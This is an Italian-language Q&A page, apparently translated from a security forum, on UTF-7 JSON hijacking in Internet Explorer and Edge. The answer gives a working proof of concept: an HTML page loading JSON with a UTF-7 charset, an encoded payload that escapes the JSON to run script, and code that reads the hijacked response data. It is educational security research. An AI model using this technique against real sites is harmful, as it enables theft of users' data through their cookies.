UTF-7 JSON dirottamento su Microsoft IE e Edge

0

Dopo alcune ricerche, ho visto una risposta su StackOverflow che diceva che è ancora possibile eseguire un dirottamento JSON UTF-7 utilizzando i browser Microsoft IE e Edge. Se sì, come può essere fatto? Ho davvero bisogno di una spiegazione su questo o su una prova di concetto funzionante.

    
posta Test 21.04.2016 - 00:12
fonte

1 risposta

3

Suppongo che tu ti stia riferendo a questo commento , "Microsofts IE e Edge sono comunque vulnerabili all'UTF-7 JSON Hijacking."

Seguendo le istruzioni di questo post del blog 2011 su JSON Hijacking , ho riprodotto il problema con Microsoft Edge 20 e IE11.

Crea un file HTML come questo:

<html>
<body>
<script src="x.json" charset="UTF-7"></script>

E un file x.json come questo:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]

Nella codifica UTF-7, che apparentemente decodifica in:

[{'friend':'luke','email':''}];alert(‘May the force be with you’);[{'job':'done'}]

E poi, dato il potere di eseguire JavaScript nel contesto della risposta, puoi scrivere altro / altro codice malvagio, ad es. codice per leggere il resto della risposta. Ad esempio:

[{'friend':'luke','email':''}, 1].sort(function(x,y) {
for (var o in x) {
alert(o + “:” + x[o]);
}
});
setTimeout(function() {
var x = data[0];
for (var o in x) {
alert(o + “:” + x[o]);
}
}, 100);var data=[{'job':'done'}];

Leggi il post del blog per ulteriori dettagli sulle implicazioni di questo, ma l'idea è che tu avresti un utente per aprire una pagina sul tuo sito, fare questa richiesta di script (che userebbe le credenziali del cookie della vittima), e poi JSON dirottarlo per leggere un elenco parziale degli amici dell'utente.

    
risposta data 08.05.2017 - 23:28
fonte

Leggi altre domande sui tag